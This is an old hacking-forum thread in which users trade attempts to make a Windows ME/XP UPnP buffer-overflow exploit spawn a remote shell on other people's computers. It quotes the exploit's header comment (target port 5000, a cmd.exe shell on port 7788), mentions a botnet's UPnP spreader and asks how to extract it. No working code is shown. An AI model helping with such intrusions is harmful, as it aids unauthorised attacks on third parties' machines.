Full Version: Upnp Exploit Research
ssj4conejo
anyone here ever gotten the UPNP exploit to spawn a command shell because i've compiled both versions and none seem to spawm a command shell. anyone have any luck... please reply with your experiences.
VamPs
I somehow got it to freeze some1's computer...

never ever got it to spawn a shell though sad.gif

Originally i thought it was gunna be coo like dcom, but alas tongue.gif
Mephisto
a friend of mine who is very good spawned them all the times on his Linux box..
Dunno how he did it but the exploit work on his machine

What new with this exploit ?
i tried on lots of computer with this port open, but never freeze, and never get shell.
Somebody got good result ?

(i know this exploit is old but there is lots of computer with port actually open)

i've never even try'd it. Don't think you won't get many results with it rolleyes.gif

This exploit is VERY old. i dont believe that you could get it to work now since its been patched for with dcom and all. You could try to rewrite the shellcode and such, if you really wanted to make it work. also try to read up on why its supposed to work, if all else fails , get another one
DevilishCheese
yeah i agree, i have never gotten that exploit to work, maybe user error, but i doubt it tongue.gif

phatbot has upnp spreader in it, not sure if it works thoe blink.gif
binary_hashes
i think that Upnp explout is quit expensive out there but any ways here is the code


/*
* WinME/XP UPNP dos & overflow
*
* Run: ./XPloit host <option>
*
* Windows run the "Universal Plug and Play technology" service
* at port 5000. In the future this will allow for seemless
* connectivity of various devices such as a printer.
* This service have a DoS and a buffer overflow I exploit here.
*
* PD: the -e option spawns a cmd.exe shell on port 7788 coded by isno

why dont you (filtered) compile it yourself

is it possible to takes the ways the upnp scanner/spreader of the phat to make it an exploit by itself ?
